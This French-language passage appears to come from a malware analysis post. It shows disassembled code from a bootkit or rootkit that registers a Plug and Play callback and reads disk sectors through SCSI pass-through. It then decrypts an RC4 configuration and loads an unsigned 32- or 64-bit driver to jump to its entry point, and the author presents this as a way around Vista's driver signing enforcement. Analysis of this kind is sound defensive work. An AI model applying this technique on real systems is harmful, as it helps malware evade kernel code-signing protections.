.text:1000174E                 push    [ebp+Context]   ; Context
.text:10001751                 mov     eax, 0B6BFh
.text:10001756                 push    offset CallbackRoutine ; CallbackRoutine
.text:1000175B                 push    [ebp+Context]   ; DriverObject
.text:1000175E                 mov     [ebp+var_C], ax
.text:10001762                 lea     eax, [ebp+EventCategoryData]
.text:10001765                 push    eax             ; EventCategoryData
.text:10001766                 push    1               ; EventCategoryFlags
.text:10001768                 push    2               ; EventCategory
.text:1000176A                 mov     [ebp+EventCategoryData], 53F56307h
.text:10001771                 mov     [ebp+var_A], 0F29411D0h
.text:10001778                 mov     [ebp+var_6], 1EC9A000h
.text:1000177F                 mov     [ebp+var_2], 8BFBh
.text:10001785                 call    IoRegisterPlugPlayNotification
.text:1000178B                 leave
.text:1000178C                 retn    8
.text:1000178C sub_10001743    endp
La fonction de callback est du code que l'on connait déjà, des appels à ZwDeviceIoControlFile avec comme code IOCTL 0x4D014 ( IOCTL_SCSI_PASS_THROUGH_DIRECT ), pour récupérer le nombre de secteur, son fichier de configuration, rc4, charger le driver 32 ou 64 en mémoire, et sauter sur son entrypoint.
.text:10001394                 call    eax
Voilà comment bypasser avec élégance, la signature des drivers qui est apparu lors de la sortie de Vista.